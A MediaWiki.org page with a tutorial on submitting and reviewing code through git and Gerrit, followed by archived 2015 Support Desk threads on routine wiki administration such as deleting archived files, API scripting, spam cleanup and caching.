==== Usual way ====
Modify your local code in some fashion.
Using your preferred editor, modify the file <tt>Example/Example.body.php</tt>

Then check the changes you've made, within the file(s) and within the directory:
<pre>
git diff
</pre>
[[File:Git diff.png]]

Without any extra arguments, a simple <code>git diff</code> will display in [[w:Diff#Unified_format|unified diff format]] (a patch) what code or content you've changed in your project since the last commit that are not yet staged for the next commit snapshot.

Then check the changes you've made, within the file(s) and within the directory:
<pre>
git status
</pre>
[[File:Git status.png]]

You run <code>git status</code> to see if anything has been modified and/or staged since your last commit so you can decide if you want to commit a new snapshot and what will be recorded in it.

This will show all modified files. To prepare submitting a file, you should add your changes to the index (the staging area between your working copy and your local repository), which is done by using the <code>git add</code> command.
<pre>
git add Example/Example.body.php
</pre>
[[File:Git status 2.png]]

You pass a file to <code>git add</code> when you want the changes you made to it to be included in your next commit.

Any files you've changed that are not staged by you doing <code>git add</code> will be left alone - this means you can craft your commits with a bit more precision.

At any time you can always review the changes already added to the staging area by running <code>git status</code>, and look at the diff with <code>git diff --cached</code>:

[[File:Git diff --cached.png]]

The <code>git diff --cached</code> command will show you what contents have been staged. That is, this will show you the changes that will currently go into the next commit snapshot.

Once you are happy with the change list, you can add them to your local repository by using
<pre>
git commit
</pre>
[[File:Git commit vim.png]]

You will then be prompted in your favorite editor to add [[Gerrit/Commit message guidelines|a descriptive message]] for this commit. This is what other people will see when you will later push that commit to another repository. If you do not manually add a Change-ID line to your commit message, it will be automatically generated and added for you.

[[File:Git commit.png]]

You can repeat this step over and over until you have a set of changes that you want to have pushed to the master branch. One of the cool things about git is that when you <code>git commit</code>, you are committing to your local copy. This means you can commit as often as you like without potentially screwing things up for another developer on the project, unlike in [[w:Apache Subversion|SVN]] where you would want to be very careful that the changes you commit would not cause things to break.

Hence the workflow is something like:
<source lang="bash">
# Add change:
$ git add <some file>
# Verify list of files added to the staging area
$ git status
# Review diff of changes staged:
$ git diff --cached
# repeat until you are happy with your changes
$ git commit
<edit commit message>
</source>

=== Prepare to push your change set to Gerrit ===
Before your changes can be merged into master, they must undergo review in Gerrit.

But first, it's a good idea to synchronize your change set with any changes that may have occurred in master while you've been working. From within the branch you've been working on, execute the following command:
<pre>
git pull --rebase origin master
</pre>
[[File:Git rebase master.png]]

This command will fetch new commits from the remote and then rebase your local commits on top of them. It will temporarily set aside the changes you've made in your branch, apply all of the changes that have happend in master to your working branch, then merge (recommit) all of the changes you've made back into the branch. Doing this will help avoid future merge conflicts. Plus, it gives you an opportunity to test your changes against the latest code in master.

Once you are satisfied with your change set and you've rebased against master, you are ready to push your code to Gerrit for review.

=== Squash into single commit ===
If you make several related commits to your local repository prior to wanting to submit for review, you should squash those commits into a single commit. If you've followed everything above, you can perform this action by doing:

git rebase -i origin/master

This will bring up your text editor with text like:

pick 749a62a Added a file
pick ec9295b Changed some code
pick be33007 Fixed my bug in that file

Change all but the first "pick" to "squash":

pick 749a62a Added a file
squash ec9295b Changed some code
squash be33007 Fixed my bug in that file

Save the file. Another file will open in your text editor which will allow you to edit the combined commit message. Be careful to only keep one of the <code>Change-Id</code> lines and have it be at bottom of the message after one empty line.

=== Push your change set to Gerrit ===
If you installed <code>git-review</code> and you ran <code>git review -s</code> to set it up for this repository, the command to push changes to [[w:Gerrit (software)|Gerrit]] is very simple:
<pre>
git review -R
</pre>
The <code>-R</code> option does not automatically perform a rebase before submitting the change to Gerrit.

[[File:Git review -R.png]]

Upon success, you'll get a confirmation and a link to the changeset in Gerrit.

<code>New patchset: preilly; "Added get version method to extension" [test/mediawiki/extensions/examples] (master) - https://gerrit.wikimedia.org/r/9332</code>

(If you forgot to run <code>git review -s</code>, "remote" will complain about "missing Change-id in commit message".
But it will also suggest a commit message with a Change-Id: ''INNNXXXNNN...'' line.
Copy that line starting with "Change-Id", run <code>git commit --amend</code>, and paste the Change-Id line under your commit message in the text editor that opens up.
Then repeat <code>git review -R</code> and it should complete.)

You can view this change in the Gerrit Web UI:

[[File:Chrome gerrit 9332.png|800x600px]]

If you want to see your changed files in their context then click on the <code>(gitweb)</code> links and the <code>tree</code> link (you then will see).

If your commit addresses a ticket in [[Phabricator]], please comment on that ticket to note that the commit is in the merge queue, and link to its changeset in [[w:Gerrit (software)|Gerrit]].

=== Push to a branch ===
As you can see in the screenshot above, the commit was pushed to master. The branch name only appeared as the topic of the commit. If you really want to push to a branch, you have to push via <code>git review <branch name></code>.

=== Amending a change (your own or someone else's) ===
'''BEWARE:''' <code>git review -d</code> performs a hard reset that destroys all local changes. Stash or commit changes you wish to preserve first.

Sometimes, you might need to amend a submitted change. You can amend your own changes as well as changes submitted by someone else, as long as the change hasn't been merged yet.

Rebase to bring your local branch up to date with the remote. It's best to make rebase updates a separate patch, so that your code reviewers have an easy time seeing what changes you've made. Assuming you are using Gerrit, you can do this by clicking the "Rebase Change" button when viewing your patch in Gerrit's web interface.

If you have git-review, hard reset and checkout the change with this command:
<pre>
git review -d <change number>
</pre>

Note, if you already have the change in a branch on your local repository, you can just check it out instead:
<pre>
git checkout <branch name>
</pre>

For example:
<pre>
git review -d 9332
</pre>
[[File:Git review -d 9332.png]]

Or, if you already have the branch,
<pre>
git checkout review/preilly/2012/bug12345
</pre>
Should accomplish the same thing.

Next, make some changes.
<pre>
vim Example/Example.body.php
</pre>
[[File:Vim example.body file.png]]

<code>git add</code> the files as needed, then commit the change (ensuring you are ''amending'' the commit):
<pre>
git add Example/Example.body.php
git commit --amend
</pre>
[[File:Vim git commit amend.png]]

[[File:Git_commit_amend.png]]

NOTE: '''DO NOT''' use the <code>-m</code> flag to specify a commit summary: that will override the previous summary and regenerate the Change-Id. Instead, use your text editor to change the commit summary if needed, and keep the Change-Id line intact.

Push the change
<pre>
git review -R
</pre>
:The -R is important here. It tells git-review to not rebase your change against master, which clutters diffs between patch set [https://gerrit.wikimedia.org/r/gitweb?p=test%2Fmediawiki%2Fextensions%2Fexamples.git;a=commit;h=fee9e992a68d285a727e39608cb608e535bcc10a 1] and [https://gerrit.wikimedia.org/r/gitweb?p=test%2Fmediawiki%2Fextensions%2Fexamples.git;a=commit;h=7b7840b470961405bf0560d645fe6b39d848601c 2].
[[File:Git_review_-R_2.png]]

<code>New patchset: preilly; "Added get version method to extension" [test/mediawiki/extensions/examples] (master) - https://gerrit.wikimedia.org/r/9332</code>
[[File:Chrome_gerrit_9332_2.png|800x600px]]

==== git-review complains about multiple commits ====
If <code>git review</code> asks you if you really want to submit multiple commits, and lists a bunch of unrelated commits from different branches, try either of these:
<pre>
git fetch --all
</pre>
<pre>
git remote update
</pre>

Both commands do exactly the same thing, they fetch objects from all remote repositories set. So just pick the command you remember easily and forget about the other one.

[[File:Git_remote_update.png]]

==== git complains "you are in the middle of a merge -- cannot amend" ====
When after rebasing and merging your
<pre>
git commit --amend
</pre>

results in
<pre>
message: fatal: You are in the middle of a merge -- cannot amend.
</pre>

apply these steps and reapply your changes
<pre>
git stash
git reset --hard
git checkout master
git review -d <change number>
git stash pop
git commit -a --amend
</pre>
If, after <code>git review</code> jenkins-bot emails '''''This change was unable to be automatically merged with the current state of the repository. Please rebase your change and upload a new patchset. '''''This might mean that server master branch now has merge conflicts with your patch. Check [[mediawikiwiki:Gerrit/Advanced_usage|advanced Gerrit usage]] to see how to fix them.

=== Push using HTTPS ===
This method is helpful for submitting to changes to Gerrit when''' SSH is not functional'''.

For this the user needs the HTTP Password which can be generated in the Account Settings of Gerrit under the tab of HTTP Password. After generating the password the developer should commit all the changes for one patch under one single commit and use
git push https://gerrit.wikimedia.org/r/p/mediawiki/core HEAD:refs/for/master
The authentication credentials need to be entered to successfully submit the changes. The syntax given above is for Mediawiki core and will vary for extensions accordingly. For example if one is pushing to Extention:LiquidThreads then
git push https://gerrit.wikimedia.org/r/p/mediawiki/extensions/LiquidThreads HEAD:refs/for/master

==== Commit Hook and Change-ID ====
A major problem that arises when using HTTPS for submitting changes is that commit hook is not automatically attached. A hack for this approach is to make one fail attempt to push. On doing so, the error message will automatically highlight the Change-Id, see below example:
Username for 'https://gerrit.wikimedia.org': xxxxxx 
Password for 'https://xxxxxx@gerrit.wikimedia.org': 
Counting objects: 25, done. 
Delta compression using up to 2 threads. 
Compressing objects: 100% (4/4), done. 
Writing objects: 100% (4/4), 448 bytes | 0 bytes/s, done. 
Total 4 (delta 3), reused 0 (delta 0) 
remote: Resolving deltas: 100% (3/3) 
remote: Processing changes: refs: 1, done 
remote: ERROR: missing Change-Id in commit message footer 
remote: Suggestion for commit message: 
remote: Commit message appears here 
remote: 
remote: Change-Id: xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx 
remote: 
remote: Hint: To automatically insert Change-Id, install the hook: 
remote: gitdir=$(git rev-parse --git-dir); scp -p -P 29418 xxxxxx@gerrit.wikimedia.org:hooks/commit-msg ${gitdir}/hooks/ 
remote: 
remote: 
To https://gerrit.wikimedia.org/r/p/mediawiki/extensions/Test 
! [remote rejected] HEAD -> refs/for/master (missing Change-Id in commit message footer) 
error: failed to push some refs to
Now copy the change ID and '''amend your commit'''. Always add Change-ID as the last line of your commit message.
git commit --amend
This will open an editor to change the commit message. Paste the Change-Id as the last line of the message and save it. See example:
Your commit summary 
 
Your commit message
 
Bug: Txxxxx 
Change-Id: xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
Now you can successfully push to Gerrit.

===== Automatically adding commit Hook =====
To obtain the commit-msg script:
<pre>
scp -p -P 29418 USERNAME@gerrit.wikimedia.org:hooks/commit-msg <local path to your git>/.git/hooks/
</pre>
See https://gerrit.wikimedia.org/r/Documentation/cmd-hook-commit-msg.html for details.

==== Proxy servers ====
{{info|This section is untested; please update this section with updated information if issues arise}}

If you are behind a proxy server, you also need to clone over HTTPS. Make sure the environment variable <code>HTTPS_PROXY</code> is set correctly. To debug issues, try running with <code>GIT_CURL_VERBOSE=1</code>, e.g.
<source lang="bash">
GIT_CURL_VERBOSE=1 git clone https://gerrit.wikimedia.org/r/pywikibot/core.git
</source>

In case of issues, try providing <code>HTTPS_PROXY</code> directly, e.g.
<source lang="bash">
HTTPS_PROXY=proxy_server GIT_CURL_VERBOSE=1 git clone https://gerrit.wikimedia.org/r/mediawiki/core.git
</source>

or use git's options directly:
<source lang="bash">
GIT_CURL_VERBOSE=1 git -c http.proxy="proxy_server" clone https://gerrit.wikimedia.org/r/mediawiki/core.git
</source>

This last option should also work for SOCKS proxy servers, using
<source lang="bash">
GIT_CURL_VERBOSE=1 git -c http.proxy="socks5://socks_server" clone https://gerrit.wikimedia.org/r/mediawiki/core.git
</source>

=== Diff algorithm ===
Gerrit uses jGit's diff , which uses a slightly different diff algorithm from git's default diff algorithm.

To see roughly what a patch will look like in Gerrit, run <code>jgit show -w</code>.

If jgit isnt available in your packaging system, download jgit.sh from https://eclipse.org/jgit/download/ and use jgit.sh instead of jgit.

== How we review code ==
[[Gerrit/Code review|Code review]] is an essential part of our contribution workflow. The principle is basic: any patch must be reviewed by others before being merged.

This means that your code will need reviewers. Check our [[Gerrit/Code review/Getting reviews|advice for getting reviews]].

=== Review before merge ===
It's important to us to have a '''review-before-merge''' workflow for [[w:MediaWiki|MediaWiki]] core and also for any [[Manual:Extensions|extension]] [[w:Wikimedia Foundation|we]] deploy. We will also offer that option to any extension author who wants it for their [[Manual:Extensions|extension]].
The one exception is [[I18n|localisation and internationalisation]] commits, which will be able to be pushed without review.

=== Who can review? Gerrit project owners ===
Who has the ability to do code review?

We use [https://gerrit.wikimedia.org/ gerrit.wikimedia.org] to manage code review. 
Anyone [[Developer access|can ask for a Gerrit account – get one!]]. Within Gerrit, anyone can comment on commits and signal their criticisms and approvals. Anyone can give a nonbinding "+1" to any commit.
However, for any given repository ("Gerrit project"), only a small group of people will have the ability to approve code within Gerrit and merge it into the repository. This superapproval is a "[[+2]]" even though that's a misleading name, because two +1 approvals DO NOT add up to a +2.
These people are '''"Gerrit project owners".''' [[Gerrit/Project ownership|Learn about becoming a Gerrit project owner]].

Even within a Gerrit project, we can also specify particular branches that only specific people can pull into.

=== How to comment on, review, and merge code in Gerrit ===
[[File:Chrome_gerrit_9332_2.png|thumb|A sample changeset, with annotations]] [[File:Chrome_diff_9332.png|thumb|Side-by-side diff]] [[File:Chrome_review_9332.png|thumb|Review screen]]
Anyone can comment on code in Gerrit.

{{note|Gerrit comments [[phab:T18|may disappear in the future]]: you may prefer keeping your comments/discussions on [[Phabricator]] or a wiki instead, if you think they're worth preserving.}}

==== Viewing and commenting on code ====
* Make sure you have a https://gerrit.wikimedia.org login ([[Developer access|Get an account!]]). If you don't know, try logging in at https://wikitech.wikimedia.org; the username and password should be the same. If you can't, ask in {{IRC|mediawiki}} for someone to help.
* Log in to [https://gerrit.wikimedia.org Gerrit]. If you know the changeset you want to look at (URL will look like https://gerrit.wikimedia.org/r/#change,8939 ), go to that. Otherwise, use the search box and try searching. There is no fulltext search in Gerrit, but you can search by author ("Owner"), Gerrit project, branch, changesets you've starred, etc. The [https://gerrit.wikimedia.org/r/Documentation/user-search.html Gerrit search documentation] covers all of the different search operators you can use.
* The changeset has a few important fields, links and buttons:
** '''Reviewers'''. 'jenkins-bot' is the autoreviewer that auto-verifies anything that passes the Jenkins tests. It will report a red or green mark depending on whether the build passes.
** '''Add reviewer'''. Manually pings someone to request their review. It'll show up in their [https://gerrit.wikimedia.org/r/#mine Gerrit dashboard].
** '''Side-by-side diff'''. Opens the diff. You can double-click on a line and comment on that line, then save a draft comment! Then, click "Up to change" to go back to the changeset, proceed to .
** '''Review''' ("Add comment"). Publish your thoughts on the commit, including an overall comment and/or inline comments you added (see above).
***If, upon code review, you '''approve''', use "+1" under Code Review; otherwise, use "-1" to disapprove. These numbers are nonbinding, won't cause merges or rejections, and have no formal effect on the code review.
** '''Abandon change''' (you'll see this if you wrote this diff). This action removes the diff from the merge queue, but leaves it in Gerrit for archival purposes.

====Comparing patch sets====
Every time you amend your commit and submit it for review, a new patch set is created. You can compare the different patch sets like this:
* Select the older patch set in the "Old Version History" list.
* Expand the newer patch set details by clicking the arrow near it.
* Click ''Side-by-Side''. Note that in Gerrit 2.3 this only works if you open the diff in the same tab, so don't open it in a new tab.

==== Formally reviewing and merging or rejecting code ====
If you are one of the Gerrit project owners, you'll also see: [[File:Chrome_review_9332.png|thumb|A Gerrit review screen with approval and veto options]]
:* '''Abandon Change button'''
:* on the Review page, additional '''Code Review options''' to +2 (approve) or -2 (veto) a diff, and a '''Publish And Submit button''' (publish your comment and merge diff into the branch, in 1 step)
:* '''Submit Patch Set 1 button''' (merge -- only useful if you or someone else has already given a +2 approval to the diff, but not merged it)
And once you've merged something into the example Gerrit project you'll see it in https://gerrit.wikimedia.org/r/gitweb?p=test/mediawiki/extensions/examples.git;a=summary .

If you merge a commit that references a ticket in Phabricator, please go to that ticket and mark it RESOLVED and reference the merge ID.

== Troubleshooting ==
=== Problems encountered installing commit-msg hook ===

If you encounter this error when trying to push changes using git-review, you are not working with a repository that was cloned via ssh. You must clone repositories using ssh, not http or https, to succesfully push changes using git-review.

=== Unable to negotiate with [IP]: no matching key exchange method found. Their offer: diffie-hellman-group1-sha1 ===
This message will appear if you are using openssh >= 7.0. For more information, see {{phab|T112025}}.

== See also ==
Also useful are these pages:
{{:Git/References}}
* https://gerrit.wikimedia.org/r/#q,status:open,n,z - wikimedia bug list
* [[Download from Git]]
* [[labsconsole:Help:Access]]
* [[Gerrit]]
** [[Gerrit/git-review]]
** [[Gerrit/Getting started]]
** [[Gerrit/TortoiseGit tutorial]]
* [https://tools.wmflabs.org/gerrit-patch-uploader/ Wikimedia Gerrit Patch Uploader]

[[Category:Tutorials]]
[[Category:Git]]
[[Category:Gerrit]]
[[Category:New contributors]]

Topic:Somoz40y49padc9y

2015-09-10T14:36:28Z

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2015-09-10T14:36:28Z

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== How can i delete the files for ever, which are located in image/deleted ==
{{Archive top|result=The maintenance script [[Manual:DeleteArchivedFiles.php|deleteArchivedFiles.php]] does what you want.|status=resolved}}

:Software
:Version
:MediaWiki
:1.22.3
:PHP
:5.4.20 (apache2handler)
:MariaDB
:5.5.33-MariaDB
:My wiki isn't available in the Internet, only intranet. Sorry.
:My question is:
:We deleted a lot of old files from our wiki, because it wasn't connected and needed any more.
:Now we would like to do some maintenance and remove the deleted files from the "images/deleted" Folder.
:Can i do just rm -r * in "images/deleted" Folder or is there some maintenance tool available for that?
:And what does the wiki say, when the file is deleted on the filesystem?
:Thank you in advance for help.
:Daniel
:from Essen, Germany. [[Special:Contributions/95.172.68.155|95.172.68.155]] ([[User talk:95.172.68.155|talk]]) 12:32, 1 September 2015 (UTC)
::Please run supported software for your own safety. Version 1.22.3 is ancient and has security vulnerabilities. See https://www.mediawiki.org/wiki/Download [[User:Malyacko|Malyacko]] ([[User talk:Malyacko|talk]]) 09:18, 2 September 2015 (UTC)
:You can test this out yourself by just moving the files out of the way initially. For example, log in with a sysop account and visit a deleted image's file page. Then, in a shell:
:<code> $ cd $IP/images</code>
:<code> $ mv deleted not-yet-deleted</code>
:Now reload the page in your browser -- add <code>?action=purge</code> to be sure you're seeing something up-to-date -- and see how the page's appearance has changed.
:You should also log out of the wiki and see if there is a noticeable problem for less privileged users of the site.
:If everything is good, then you can really delete the images. If there is a problem, you can move them back to the deleted folder. ☠[[User:MarkAHershberger|MarkAHershberger]]☢([[User_talk:MarkAHershberger|talk]])☣ 12:47, 1 September 2015 (UTC)
:The maintenance script [[Manual:deleteArchivedFiles.php|deleteArchivedFiles.php]] does what you want.
:Greetings from ... Essen, btw. :-) [[Special:Contributions/88.130.117.48|88.130.117.48]] ([[User talk:88.130.117.48|talk]]) 22:48, 1 September 2015 (UTC)
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== Create new page by Perl via MediaWiki::API ==

I want to create simple pages in a company-wiki by Perl. In reposetory i found the modul MediaWiki::API - but not a simple example to create a page.

can someone help to me ? [[User:JanTappenbeck|JanTappenbeck]] ([[User talk:JanTappenbeck|talk]]) 13:10, 1 September 2015 (UTC)
:This is really a question for the maintainer of the [http://search.cpan.org/~exobuzz/MediaWiki-API-0.40/lib/MediaWiki/API.pm CPAN module] ([http://search.cpan.org/~exobuzz/ Jools Wills]), but there is an example in the documentation that may help. Note I have not tested this.
:<source lang="perl">
use MediaWiki::API;
my $mw = MediaWiki::API->new();
$mw->{config}->{api_url} = 'YOUR-API-URL';
# log in to the wiki
$mw->login( { lgname => 'username', lgpassword => 'password' } )
|| die $mw->{error}->{code} . ': ' . $mw->{error}->{details};
my $pagename = "Project:Sandbox";
my $ref = $mw->get_page( { title => $pagename } );
$mw->edit( {
action => 'edit',
title => $pagename,
text => "Additional text"
} ) || die $mw->{error}->{code} . ': ' . $mw->{error}->{details};
</source>
:If you try that, does it work? If not, what problems do you run into? ☠[[User:MarkAHershberger|MarkAHershberger]]☢([[User_talk:MarkAHershberger|talk]])☣ 13:36, 1 September 2015 (UTC)
::Just to point out: I have tested this script and successfully created a page: [//en.wikipedia.org/wiki/User:Hexmode/Sandbox https://en.wikipedia.org/wiki/User:Hexmode/Sandbox] ☠[[User:MarkAHershberger|MarkAHershberger]]☢([[User_talk:MarkAHershberger|talk]])☣ 14:42, 2 September 2015 (UTC)
:thanks and first i try to login - but get following message:
:<blockquote><syntaxhighlight lang='text'>2: Failed to decode JSON returned by http://ma22-wiki-001/eblwiki/api.php
Decoding Error:
malformed JSON string, neither tag, array, object, number, string or atom, at character offset 0 (before "\x{feff}{"login":{"r...") at C:/strawberry/perl/site/lib/MediaWiki/API.pm line 400.
</syntaxhighlight></blockquote>
:in other websites the reason will be declare by wrong api.php-url - but when i call the url in browser i get the dokumentation-side like http://www.exotica.org.uk/mediawiki/api.php but with xml source at the beginning and and like:
:<source lang="xml">
<?xml version="1.0"?>
<api>
<error code="help" info="" xml:space="preserve">
</source>
:i use 1.23.5 of mediawiki. [[User:JanTappenbeck|JanTappenbeck]] ([[User talk:JanTappenbeck|talk]]) 08:16, 2 September 2015 (UTC)
::I created an account on the server and successfully used the script [http://www.exotica.org.uk/mediawiki/index.php?title=User:Hexmode/Sandbox&oldid=87432 to post to the wiki] from Linux. I happen to have a version of Strawberry Perl on a Windows desktop, so I'll try that. But while I do that you might try upgrading your perl installation. ☠[[User:MarkAHershberger|MarkAHershberger]]☢([[User_talk:MarkAHershberger|talk]])☣ 15:23, 2 September 2015 (UTC)
:Maybe it complains from the \x{feff} character? It's the [//en.wikipedia.org/wiki/Byte order mark Byte order mark] that usually start unicode streams... looks like that perl script doesn't support that?
:Note that on the browser you see the documentation because the perl script calls the api passing parameters probably in a HTTP POST request, while your browser is using HTTP GET [[User:Ciencia Al Poder|Ciencia Al Poder]] ([[User talk:Ciencia Al Poder|talk]]) 09:38, 2 September 2015 (UTC)
:Worked for me from windows, but not using Strawberry Perl -- I didn't try Strawberry Perl -- so I'm pretty sure this is a problem of your version of perl. ☠[[User:MarkAHershberger|MarkAHershberger]]☢([[User_talk:MarkAHershberger|talk]])☣ 17:07, 2 September 2015 (UTC)

== How does translating work? ==

Good day,

The wiki of whonix.org is using the MediaWiki software, as well as the accompanying language extension bundle with its language selector. However, noone really knows how to use it. And after reading through the guidelines written on the "mediawiki wiki", I still am unable to understand it. As far as I could gather, to translate a page, each section of text needs to be surrounded by the <language> tag. However, doing so simply doesn't work. The tags just appear in the text, as if they would serve no purpose. Also, adding the language selector, by using the <nowiki><languages /></nowiki> tag, doesn't work either. Only the homepage, was affected by these changes, however other sites of the forum seem to be unaffected.

If someone would be able to explain, what I'm doing wrong, I would be more than thankful.

Have a nice day,

Ego [[Special:Contributions/178.114.20.135|178.114.20.135]] ([[User talk:178.114.20.135|talk]]) 15:51, 1 September 2015 (UTC)
:Good day,
:I've just had a nice chat with some on the IRC chat. They recommended I should try copying the contents of a page where it does work on a page where it doesn't, to see, whether it would then work. Sadly, the answer is no. No matter what we do the language selector seems to be weirdly selective (no pun intended) about where it works and where it doesn't.
:If someone could help me with this, I would be more than grateful.
:Have a nice day.
:Ego [[Special:Contributions/178.114.20.135|178.114.20.135]] ([[User talk:178.114.20.135|talk]]) 17:22, 1 September 2015 (UTC)
:Did you talk to nikerabbit or siebrand in #mediawiki-i18n about this? I don't have any experience with the language bundle, myself. ☠[[User:MarkAHershberger|MarkAHershberger]]☢([[User_talk:MarkAHershberger|talk]])☣ 18:15, 1 September 2015 (UTC)

== A version for 1.7.10 ? ==
{{Archive top|result=TrainCraft, formerly Trains and Zeppelin mod, is a Mincraft mod. This page here however is the Support Desk for MediaWiki.|status=resolved}}

Hellow,

Are you working on a version traincraft rotatable on a servuer in 1.7.10 ???

Thanks. [[Special:Contributions/2A02:A03F:EDA:2B00:64A4:226D:CDA0:F94D|2A02:A03F:EDA:2B00:64A4:226D:CDA0:F94D]] ([[User talk:2A02:A03F:EDA:2B00:64A4:226D:CDA0:F94D|talk]]) 16:40, 1 September 2015 (UTC)
:TrainCraft, formerly Trains and Zeppelin mod, is a Mincraft mod. This page here however is the Support Desk for MediaWiki, the software used to run wikis like Wikipedia. We are not associated with the developers of the aforementioned mod.
:If you have questions on that mod, you should ask the mod developers! [[Special:Contributions/88.130.80.141|88.130.80.141]] ([[User talk:88.130.80.141|talk]]) 16:49, 1 September 2015 (UTC)
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== Approved Revs: Allowing the creators of a page to approve their own content ==

Hello,

First I apologize if this seems to be a repetitive question however, I have been searching and testing numerous things for a few weeks now. My organization is currently using the ApprovedRevs format of MediaWiki which I understand means that users with Admin/Bureaucrat permissions can approve newly created wiki pages as well as any/all revisions. However, the amount of approvals is getting rather big as more and more of our organization is taking advantage of this wonderful tool so we would like the creator/owner of a wiki page to be able to approval revisions themselves. We do NOT want everyone to be given admin/Bureaucrat permissions as to avoid users going to other pages they did NOT create and editing them whether accidently or on purpose. I have implanted many commands and lines of syntax to try and allow this including the below lines however, I can not seem to get the desired results. Can anyone assist? Thank you very much, Jaison

$egApprovedRevsAutomaticApprovals= false;

$egApprovedRevsApproveLatest = True;

$egApprovedRevsBlankIfUnapproved = True;

$egApprovedrevsSelfOwnedNamespace[] = array (NS_Main, NS_USER) [[User:Jaisonmb|Jaisonmb]] ([[User talk:Jaisonmb|talk]]) 18:51, 1 September 2015 (UTC)

== Fresh Wiki with over 500+ bot accounts. ==
{{Archive top|result=[[Manual:Combating spam]] and [[Manual:Combating vandalism]] have an overview on the topic.|status=resolved}}

Greetings everyone. Im just seeking some help. Im veey new to this software and cant do much without guides quite yet. I found this link http://thread.gmane.org/gmane.org.wikimedia.mediawiki/41614/focus=41697 but im honestly unsure of how to implement anything suggested. I had the link to my wiki available for maybe 1 day before it was slammed with trash pages and bots. Bots registering and posting trash. Im not sure if any anonomous bots have created any pages. I just want it to stop and to clean the wiki. Is there a quick way I can delete all the spam pages and bots? I do have some legitimate users so I believe purging the database is not a good idea. Any help including telling me how to implement the sigges [[User:Serena Eclipse|Serena Eclipse]] ([[User talk:Serena Eclipse|talk]]) 20:11, 1 September 2015 (UTC)
:Hi!
:[[Manual:Combating spam]] and [[Manual:Combating vandalism]] have an overview on the topic.
:If you know, which users are legitimate, it could be an idea to create a list with all spam users and remove all contributions by these users. Another idea would be, if you have a list of spam pages, to delete all those pages. The latter can be done by [[Extension:Nuke]]. [[Special:Contributions/88.130.117.48|88.130.117.48]] ([[User talk:88.130.117.48|talk]]) 22:45, 1 September 2015 (UTC)
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== Transfer content of category to other category ==
{{Archive top|result=<div class="flow-post-content">
2 options:
* Use a bot, for example, pywikibot and the [[Manual:Pywikibot/category.py|category.py]] script
* [[Extension:Replace Text]]

</div>|status=resolved}}

The dutch Nationaal Register Varende Monumenten got a new name: Register Varend Erfgoed Nederland. How can I transfer the categories in Category:Nationaal Register Varende Monumenten to the new Category:Register Varend Erfgoed Nederland without doing it by hand? Cat-a-Lot doesn't do the job. {{FlowMention|Stunteltje}} [[User:Stunteltje|Stunteltje]] ([[User talk:Stunteltje|talk]]) 08:34, 2 September 2015 (UTC)
:2 options:
:* Use a bot, for example, pywikibot and the [[Manual:Pywikibot/category.py|category.py]] script
:* [[Extension:Replace Text]] [[User:Ciencia Al Poder|Ciencia Al Poder]] ([[User talk:Ciencia Al Poder|talk]]) 09:34, 2 September 2015 (UTC)
:Sorry, not experienced enough to use a bot. [[User:Stunteltje|Stunteltje]] ([[User talk:Stunteltje|talk]]) 09:41, 2 September 2015 (UTC)
:If you can install [[Extension:Replace Text]] then that will take care of it without using a bot. ☠[[User:MarkAHershberger|MarkAHershberger]]☢([[User_talk:MarkAHershberger|talk]])☣ 15:26, 2 September 2015 (UTC)
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== Odd sort problems ==
{{Archive top|result=[[phab:T111199|Tracked in Phabricator T111199]]|status=resolved}}

On the French Wiktionary, I notice occasional odd sort glitches. For instance, http://fr.wiktionary.org/w/index.php?title=Cat%C3%A9gorie:Noms_communs&subcatfrom=bok%0ANoms+communs+en+bok#mw-subcategories will show "Noms communs en bokobaru‎", "Noms communs en boko‎", "Noms communs en bokyi‎" despite the fact that the first two sub-categories are indexed with Catégorie:Noms communs|bokobaru‏‎ and Catégorie:Noms communs|boko, respectively. The few times this happens, it is always the case that the out-of-sequence sort key is a prolongation of the key it should go after.

Another particularly bad example is http://fr.wiktionary.org/w/index.php?title=Cat%C3%A9gorie:Noms_communs&subcatfrom=dan%0ANoms+communs+en+dan#mw-subcategories where we have danaru‎, dangaléat, dani de l’Ouest, dani de Mid Grand Valley, danois, dano, and only then dan (so we have dan moved down six slots, and dano moved down one slot). [[User:Urhixidur|Urhixidur]] ([[User talk:Urhixidur|talk]]) 13:38, 2 September 2015 (UTC)
:This is a problem that needs to be reported on Phabricator. I've [[Phab:T111199|created a task there]] for you. ☠[[User:MarkAHershberger|MarkAHershberger]]☢([[User_talk:MarkAHershberger|talk]])☣ 15:33, 2 September 2015 (UTC)
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== How to update all Template inside this pages? I cant do it! ==
{{Archive top|result=Set caching correctly|status=resolved}}

How to update all Template inside this pages? I cant do it! [[Special:Contributions/177.180.71.38|177.180.71.38]] ([[User talk:177.180.71.38|talk]]) 20:55, 2 September 2015 (UTC)
:This, not the Current Issues page, is the right place for this question.
:Because pages are cached. If you have a small, non-public wiki you could turn off caching. See the [[Manual:Cache|manual on caching]]. ☠[[User:MarkAHershberger|MarkAHershberger]]☢([[User_talk:MarkAHershberger|talk]])☣ 21:19, 2 September 2015 (UTC)
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== How to take grab live text from mediawiki, and load it on other pages? ==
{{Archive top|result=Use the API.|status=resolved}}

I wonder if there is a way, extension or otherwise that I can have text from my mediawiki generated on other websites, specifically on a wordpress site.

Ex: I have an entry on a company, and they want that text to be on their about page, so as things change, they dont have to update their about page because that is already done in the wiki.

Similar to using the twitter API to link to tweets on other sites.

Hope that's clear. [[User:Vapblack|Vapblack]] ([[User talk:Vapblack|talk]]) 13:38, 3 September 2015 (UTC)
:The easiest way to do this is with client-side javascript calling to your wiki's API. Here is a way to get the json-encoded text of WikiPedia's About page, for example: http://en.wikipedia.org/w/api.php?action=parse&format=json&page=Project%3AAbout&redirects=&prop=text&contentmodel=wikitext
:Probably better would be to embed such an API call in some server-side calls so that the result could be cached. ☠[[User:MarkAHershberger|MarkAHershberger]]☢([[User_talk:MarkAHershberger|talk]])☣ 15:20, 3 September 2015 (UTC)
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== Temporarily omit SF for work-around error mw-config ==
{{Archive top|result=Bug re-opened.|status=resolved}}

We run a wikifarm and the moment I try to add a new wiki (mw-config) I get an errormessage: "Invalid callback SFParserFunctions::registerFunctions in hooks for ParserFirstCallInit". Found out (https://phabricator.wikimedia.org/T101536) as a work-around to temporarily disable Semantic Forms, this works.

But: is this a MediaWiki problem/error, if so, when will it be fixed? [[User:Waanders|Waanders]] ([[User talk:Waanders|talk]]) 15:38, 3 September 2015 (UTC)
